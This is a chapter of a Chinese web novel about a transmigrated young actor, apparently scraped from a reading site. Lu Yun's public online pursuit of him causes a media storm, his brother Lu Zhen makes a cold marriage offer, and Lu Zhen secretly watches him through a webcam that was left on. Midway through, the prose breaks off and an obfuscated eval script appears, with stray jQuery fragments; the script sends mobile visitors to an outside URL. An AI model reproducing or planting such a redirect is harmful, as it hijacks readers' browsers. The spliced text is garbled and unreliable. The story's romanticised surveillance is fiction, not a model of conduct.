乐羽无话可说，他看向屏幕中的陆珩，对方神色如常，应是在会议前就知道了。


    这句话很符合陆昀的风格，行事骄纵，从不考虑别人的意愿。


    乐羽抿起嘴角，笑不出来。


    这条微博在浩瀚的网络世界里本身并不引人注目，如果陆昀没有进行身份认证的话。


    如果他没有转发营销号的微博的话。


    正是热度高的时候，陆昀的回应无疑再添一把火。


    看热闹不嫌事大的网友们扒出寰星董事长的资料，家庭状况那栏短短一行“与夫人育有两子”，再一对比陆珩和陆昀的脸，证实了陆昀的身份认证没有作假。


    豪门的八卦总要比普通人家的好看。


    网友和各家粉丝在陆昀第一条微博下聊得热火朝天。


    网友：是潜规则吗？那个男生好像就是寰星的艺人。


    网友：但是二代搞潜规则没必要亲自追去节目吧？这都公开表白了。


    网友：也可能是二代自己想出道呢？


    网友：别的先不提，陆远东基因是不是有点儿太好了，两个儿子都好帅。


    网友：陆家这种豪门会让孩子娶小艺人么？


    网友：肯定是为了节目炒作而已，退下吧。


    网友：难道只有我一个人觉得是在雄竞/流汗


    ……


    乐羽就算没混过娱乐圈也知道，不论网友如何猜测，只要不理会就好。


    说到底这不过是一个综艺的提前曝光，网友们的新鲜劲过了就算，除了粉丝不至于令人持续关注。


    怕的就是正主下场和网友battle。


    陆昀就这么干了。


    陆昀v[回复]：不是潜规则，我在追他。


    陆昀v[回复]：不是炒作，我有必要炒作吗？


    陆昀v[回复]：为什么不能娶？说不定哪天他还是我嫂子了呢。


    回复时间显示就在不久前。


    而他最后那一句话不异于投入鲨鱼池的饵，健康的关系固然重要，畸形的感情更为精彩。①


    谁不喜欢看这种戏码？


    网友纷纷抛梗，更甚者已经在评论区写起了文。


    网友：什么意思？！好刺激啊！


    网友：是我想的那样吗omg


    网友：活着见到嫂子开门我是我哥了/惊吓


    网友：你意思是你哥也？？真的假的？！


    网友：@孤岛星期日，你们这期录的恋综吗？


    ……


    陈诺及时切出界面，没让当事人和他的上司看到更多大胆发言。


    网友们不知真实情况只是好奇瞎猜，他却是清楚的，但乐羽的感情状况他作为经纪人还能提醒约束，上司的私事他可管不了。


    陈诺对乐羽说：“在热度发酵起来后，就有你的‘同学’、‘同事’爆出了你的身份，事情目前是这样，看你想自己开通账号回应，还是公司出面。”


    “我的建议是只cue节目组，不要单独回应任何人，一切等节目播出后看看反响如何。”


    陈诺话语一顿，尽量公事公办地说：“况且顾老师的工作室已经和我打过招呼，我们会随时注意舆论方向。”


    乐羽听完没立即回答，只问陆珩：“陆总，你能管管你弟弟么？哪怕我不是寰星的艺人，他这么做都对我造成了很大的困扰。”


    视频中英俊的男人拧眉，像罕有地遇见棘手难题。


    “这件事我会找他谈。”陆珩神色严肃，竟没让陈诺回避，继续道，“但是阿昀一向不服管教，或许你说话比我管用。”


    陆珩不想承认也不得不承认，若说他弟弟是一辆失控列车，现在能让列车停下的可能只有乐羽。


    旁观者总是能够看得更清，以往他尚且还能管束陆昀几分，在弟弟闹得过分时让对方稍稍收敛。


    可这一次，陆珩心内冷嘲，陆昀在得到乐羽这件事上丝毫不愿让步。


    最近他和陆昀关于乐羽的沟通全是不欢而散，这次的事他又拿什么立场去管教弟弟？


    就连他们的父亲也是放任态度。


    陆珩不知该不该习惯，从小到大，弟弟想要的东西他好像都得让。


    这件事在会议前他就找陆昀谈过了，同样是视频通话，陆昀神情不羁，满不在乎地说大哥扰人清梦。


    当时他犹在震怒，质问陆昀在做什么，知不知道这么做对寰星会造成什么影响。


    陆昀收起嘴角的笑，反问他：“哥，你在乎的是对公司的影响，还是对乐羽的影响啊？”


    “我做了什么？我说了啊，我喜欢他，我要把他追到手。”


    “哦，还是你在乎我胡诌的那句话，嫂子？哈哈！”


    陆昀视线瞥过陆珩唇角的伤，语气堪称恶劣地说：“爸对你动手了吧，看来大哥这次真的气到他了，不过这种事也不是非乐羽不可，他反正做不成我的小嫂子，那就做你弟媳呗。”


    陆珩厉声回他：“陆昀！你真喜欢他就不会在网上乱说话！”


    “等你什么时候把白巢的屁股擦干净了，再来谈你配不配喜欢！”


    他视频对面的弟弟沉着脸安静了好一会儿，看起来真像被兄长责骂后听话的样子，可那双变得赤红的眼向陆珩昭示出对方的情绪。


    陆昀粗喘几口气，胸膛剧烈起伏，慢慢平静后说：“录制还没有结束，我不想在他面前发疯。”


    “哥，你是不是对他动心了？这才几天啊，你就反悔了。”


    “你要真怕我对他怎么样，那你把我送进精神病院啊。”


    陆珩不想激化兄弟间的矛盾，他何必为了个乐羽和阿昀闹成这样？


    对方的情绪不适合再继续谈下去，陆珩挂断了通讯。


    陆珩从清晨的通话回过神来，屏幕上青年那张脸还是清纯无比，眸光流转间带着点不自知的媚，对方似乎还是之前勾引他的模样，态度却已天差地别。


    陆珩启唇：“陈诺，你先离线。”


    陈诺还等着会议结果好安排下去执行，听到陆珩的吩咐只是微微一顿就火速退出会议室，视频里霎时只剩两个人。


    “有什么不方便让我经纪人听的吗？”乐羽忍不住嘲讽，觉得陆珩刚刚的回答好笑。


    “陆总，我和寰星签的是艺人约，不是育儿师，不是心理辅导师，我没有替你们管教陆昀的义务。”


    陆珩忽然拽开领口两粒钮扣，显示屏中男人动作粗鲁，拽得本就敞开的领口更大了，衣料绷开，露出小片结实胸肌。


    乐羽无心欣赏，他只看到陆珩唇角微扯，好像扯痛了嘴角那道伤痕。


    “你当初招惹他的时候没想到会有这天？”陆珩盯着屏幕上那张漂亮的脸冷冷看向自己，心火难捱。


    和父亲争吵后他不是没有重新审视过这些天的失控，不是没有再仔细衡量过乐羽的价值。


    他的亲弟弟对这个人动了真，他不论身为兄长，不论身为家族的继承人，他都该放弃。


    必须放弃。


    但又为什么在接到陈诺的消息时推迟了去公司的时间，为什么在看到网络上那些言论时怒意横生，为什么和陆昀吵到这个地步。


    那天董事会上他的伤暗地里沦为笑柄，陆珩在每个极短的工作空隙间想，假如他把征服乐羽看作一场生意，还没开始谈判他就输了彻底。


    视频会议很清晰，能看到乐羽坐在光线明亮的窗边，晨光照在他面上，勾勒出毫无瑕疵的五官。


    那双湿润透澈的眼睛曾经是怎么看他的？陆珩陷入一瞬的失神，青年想方设法逢迎时他只觉得厌烦，现在又恨乐羽看他的眼神冷然疏离。


    他能够轻易掌控乐羽时不屑一顾，现在乐羽脱离了掌控他却想把对方关起来。


    而不是任网络上千万人评说，谁都可以猜测乐羽跟谁有着暧昧关系。


    “还有个办法可以让陆昀放弃。”陆珩看着表情冷淡抿唇不愿说话的乐羽，试图重提价码，“我说过，希望你能重新考虑我的提议。”


    乐羽想笑，也真的笑了。


    “陆总，过去是我不懂分寸，想和陆昀做朋友，想让您刮目相看。”乐羽轻声说，“所以做了些不合适的举动，但后来我想明白了，也和你们解释过很多次。”


    “为什么不管我怎么重复，你们都不相信呢？”


    他不愿再看视频里的人，侧首看向窗外自然淳朴风光。


    这座海岛理应是令人身心放松的地方，他却感到疲惫。


    算来算去，偷到的片刻放纵原来只有昨日镜花水月般的一夜。


    晏哥现在在做什么？乐羽突兀地想，是不是在做妆造准备今天的录制，还是……为他在网上掀起的波澜费神。


    乐羽转回目光，难以掩饰打量陆珩时的困惑。


    是他端水不平先入为主，还是他对陆珩心存偏见？为什么同样是给予庇护利益，陆珩总让他心头火起。


    他压下纷乱情绪，说：“我很感激您对我的照顾，不管以前还是现在，这些都不该是我现阶段能拥有的资源团队。”


    “您很好，陆昀也很好，您让我考虑多少遍我的答案都不会改变。”


    “成为艺人为公司赚取利益是我的工作，但我的婚姻不是生意。”


    陆珩听完似曾相识的拒绝后靠进椅子里，他十指交叠放在桌面，是谈判的姿态。


    “乐羽，你不用急着拒绝我。”


    “我说让你考虑我的提议的前提，是我也会认真考虑你的话。”


    乐羽微怔，看到男人唇角那道鲜红的伤痕，疑惑地摇头：“我无法相信您的话，在身边还有人的时候说这种话，您不觉得更显得草率吗？”


    他以为陆珩会因他的直白戳穿而不悦，结果听了他的话对方眼神却漾开一抹柔和。


    “不，我没有任何暧昧关系，感情上的或是身体上的都没有。”陆珩不是会向他人解释的性格，此时面对乐羽竟有些难以启齿。


    “如果你是说我嘴唇上的伤口，那是和我父亲起了争执。”


    乐羽惊讶极了，原文对攻们的家世背景设定只为突出一个无法无天，对他们的家人设定具体如何，没有过多着墨，毕竟那对开车来说不重要。


    是以乐羽无从分析陆珩陆昀和家人的相处如何，也不解陆珩迟来的叛逆心，为了反抗家族安排要拿婚姻开玩笑。


    现在对方说唇角的伤是被打的……


    乐羽不知该同情还是幸灾乐祸，同情他在原文中只手遮天了还得被当爹的教训，幸灾乐祸霸总还不是要被爹管。


    这天好难聊，他不想问陆珩和家里争吵的原因，便想转移话题：“今天的事……”


    “乐羽。”陆珩沉声阻止他的逃避，“我被父亲责问，是因为我告诉他，我想娶你。”


    乐羽没有接话。


    陆珩不在意他的沉默，把话说完：“其实他不必动怒，你未必会接受我。”


    “剩下的话，等你工作结束当面说吧。”


    乐羽皱了皱眉，他并不想在工作之外和陆珩见面。


    不过看来由不得他。


    敲门声突然响起，传来李明的声音：“小羽？顾老师过来了。”


    乐羽下意识地看向陆珩，房间内安静，对方应该能听到。


    果然就见陆珩眼底柔和消失，变回冷漠神情：“今天的事你想怎么处理和陈诺商量。”


    “顾子晏已经和人定下联姻，你最好和他保持距离。”


    话落陆珩率先退出了会议室。


    乐羽对着屏幕发呆，脑里回荡着陆珩最后一句话。


    真的假的？原文里也没提过这件事，晏哥有婚约了吗？


    敲门声再度响起，乐羽起身去开门。


    “晏哥。”乐羽把人放进来，对方已经做完妆造，看来是想看看他有没有被网上的事影响。


    顾子晏礼貌地没往房内走，和他一齐杵在门边。


    许是乐羽脸上的走神太明显，顾子晏轻轻抚上他的脸，问道：“小羽在担心？”


    “这只是件小事，别怕。”


    乐羽抬眸，看进顾子晏专注望他的眼底，他看不懂。


    没有原文参考他就是无头苍蝇，不知道怎么做是对，怎么选是错。


    他借着转身动作避开顾子晏的手，若无其事地回：“晏哥进来坐吧，我给你拿水。”


    顾子晏的手停滞在半空，眸光暗了暗，随即放下手跟着青年进去。


    房间不大，一眼就能扫完，顾子晏瞥了眼放在窗边圆几上的笔记本电脑。


    屏幕还亮着，是视频会议的界面，乐羽刚刚着急开门还没退出，摄像头仍敬业地拍摄出房间一角。


    顾子晏没去沙发坐下，将乐羽堵在置物柜边上。


    “小羽是在生我气吗？”顾子晏视线掠过不远处的屏幕，镜头不高，只能照到他们俩半身，腰部以上就在镜头外了。


    乐羽也发现自己的躲闪很拙劣，放下手中抓住的矿泉水瓶，摇了摇头当做回答。


    “抬头看我。”顾子晏说，“没生气为什么不敢看我。”


    乐羽缓缓抬起头来，可他看不到自己脸上的表情，根本就写着口是心非四个大字。


    然后他看到男人无奈至极地笑容，顾子晏昨夜显现出的阴郁暴戾像是他的幻觉，现在对他还是很温柔。


    “生气为什么不愿说？是我的回应不好，让公司怪你了？”


    乐羽再次摇头，终于回道：“我没有担心这件事，谢谢晏哥维护我。”


    顾子晏转过身看似


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101271|160956||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    随意地将两手搭在置物柜上，把乐羽环在身体和柜子间，眉目浮现出疑惑。


    “那是今早我没等小羽一起醒来，所以生气了？”


    乐羽早上好不容易才做好自己的思想工作，接着为了热搜的事没空去想，当下被顾子晏一提立马感到耳后发烫。


    急忙反驳：“不是，我又不是小朋友。”


    需要人哄睡还需要人哄着起来……他就是在琢磨陆珩那句话。


    还反思了一下自己真的在生气吗？为了什么呢？不可能是吃醋，他直了十八年，总不会因为顾子晏长得好看说弯就弯。


    乐羽努力地分析他不高兴的原因，他记得原文设定攻们都是处男，晏哥这突然冒出来的婚约是怎么回事？


    分析个屁啊！换作谁昨晚还在贴贴，第二天就知道对方有婚约，这跟被小三有什么区别，他不爽简直合情合理！


    这么一想乐羽眼底自然而然带了情绪，瞪着顾子晏用眼神控诉。


    顾子晏看清乐羽眼中的不满和指责，倒是真有些理不清楚了。


    他叹道：“你不愿说，晏哥就不会知道，还是猜错怎么办？”


    乐羽又不能直说是陆珩告诉他的，换了个问法：“晏哥是单身吗？”


    “当然。”顾子晏不假思索，“小羽搜一搜也能发现，我从业这些年来没有绯闻。”


    乐羽冷静些许，再次换一种说法：“唔、不是绯闻的，那要是以后晏哥喜欢我，打算让我做什么？情人？”


    顾子晏的笑意骤冷：“我以为这一点昨晚已经说清楚了。”


    “做情人小羽会开心么？”


    “当然不会了，我又没毛病，上赶着给人做小三。”乐羽怒道，“你真那样我就爆料给狗仔。”


    顾子晏被他逗笑，抬手揉他的头，像揉炸毛的小动物般哄：“小羽都这么说了，我肯定不敢。”


    “你是听到什么传言了？不然好好地不会问我这些。”


    乐羽没供出陆珩，答道：“不需要传言吧，晏哥这样的身份不都要联姻之类的吗？”


    他仰着头认真地对顾子晏说：“如果晏哥已经有了婚约，就不要对我这么好了。”


    “这不合适。”


    顾子晏手还放在他毛茸茸的发上，听完又揉了一把，然后手指下移捏他耳垂上的小痣。


    指间耳肉温热，轻轻揉捏几下就全红了，衬得那粒红痣如血，怀中人这番又耍小脾气又认真对待感情的模样，令人几乎压不住躁动的施虐欲。


    相比起片刻前乐羽对他的闪躲，现下更让顾子晏感到愉悦。


    他无意让乐羽为不必要的人和事担忧，说：“小羽，是有人想通过我和顾家合作，但我没有同意，我现在确实是单身，没有任何暧昧对象或订婚人选。”


    “再者，不管我是什么身份，都不会联姻，家族利益不该是我要牺牲婚姻的责任。”


    “最后，如果我连自己的婚姻都不能做主，那么废物也不配拥有你。”


    他看着乐羽干净的瞳仁一点点亮起来，还撑在柜子上的手轻轻环住了青年腰身。


    “不生气了？”他放过那点被揉得透红的耳肉，转而捧住乐羽的脸摩挲，如同刚见面时一样。


    这次乐羽没有再躲。


    即使耳后红意缓缓蔓延到面上，将莹润的一张脸染成了淡粉，对方仍眼睛亮晶晶地看着他，任他动作。


    笔记本屏幕还亮着，桌面停留在视频会议的界面，原本只有乐羽的窗口，不知何时，其中一个分屏亮了起来。


    置物柜前的两人没注意到这个小小插曲，顾子晏背对着笔记本的镜头，修长身形将乐羽完全笼罩。


    镜头记录下这一切，将画面实时反馈。


    陆珩再次登入会议室，意外地发现乐羽还没离线。


    他不懂自己为什么回到了会议室，或许是他说完那句话后看到乐羽怔住的表情，或许是他想再聊聊今天发生的事。


    总之陆珩重新整理好衣物，系好衬衫领口，他不该丢掉稳重仪容，在乐羽面前那么狼狈。


    他甚至考虑要不要解释清楚最后那句话，赵家还没成功，顾子晏不一定会被新的利益打动，那他对乐羽说的话将会失去信用。


    视频中的场景令陆珩沉默地注视，乐羽和顾子晏两个人交谈的话语声很轻，萦绕着一种莫名的气氛，可房间内太安静了，静得他仍能通过笔记本听清他们的对话。


    陆珩过去和顾子晏不熟，从未听到过这个男人会用如此温柔小意的语调去哄一个人。


    “真的不生晏哥气了？”


    镜头拍到的画面有限，但也能看出顾子晏一手环在乐羽腰上。


    陆珩指尖压在键盘上就要退出，一道动听嗓音在他的书房响起，这嗓音前面拒绝他时让他没办法责怪，现在听着更软更甜，像害羞，像撒娇。


    “我没有生气！”


    顾子晏轻笑：“好，小羽没有闹脾气。”


    “那我们聊聊今早的事儿？晏哥帮了你，有没有奖励。”


    是诱哄一样的话语，陆珩听着刺耳，眉头紧拧。


    他该立即关闭视频离开，不应该看下去。


    但他像回到小岛上看监控的时候，静静等待乐羽的反应，就算此刻看不到。


    “这不是碰瓷吗？”乐羽抱怨，“本来就是晏哥惹的祸，还问我要奖励。”


    “功过相抵行不行？小羽就当哄哄我。”


    陆珩听得无声冷笑，顾子晏这不要脸的模样让他长见识了。


    乐羽如果不蠢就该立刻拒绝。


    可是那道令人心动的嗓音清晰传来：“怎么哄啊……昨晚才、才抱过你。”


    陆珩凝视着屏幕上小小一角，压在键盘上的手背青筋暴起，指尖固执地悬停在退出键上方。


    镜头只能照到顾子晏背影，陆珩看不到乐羽的脸，脑里的想象却犹如画卷，他在监控中见过很多次。


    乐羽笑起来的样子，乐羽害羞的样子。


    应该就是现在在顾子晏怀中的样子。


    “再抱抱？就抱一小会儿。”画面中传来的男人嗓音有一丝丝哑，诱哄意味更浓。


    陆珩知晓顾子晏演技了得，那么台词功底应是不错的，但他听着只觉得心生厌憎。


    再多一句他都听不下去。


    陆珩喉咙中泛起腥味，指尖触及退出键。


    他没能立即关闭画面，他终于看到了乐羽的反应。


    两只白皙的手缓缓抱住了顾子晏的腰，陆珩的眼神凝在那两只手上。


    对方指节先是松松地抓着顾子晏后腰的衣物，然后一点点收紧，不难猜到他的羞赧犹豫。


    陆珩用力闭了闭眼，嘴里尽是腥苦的铁锈味。


    “乐羽。”他哑声叫道。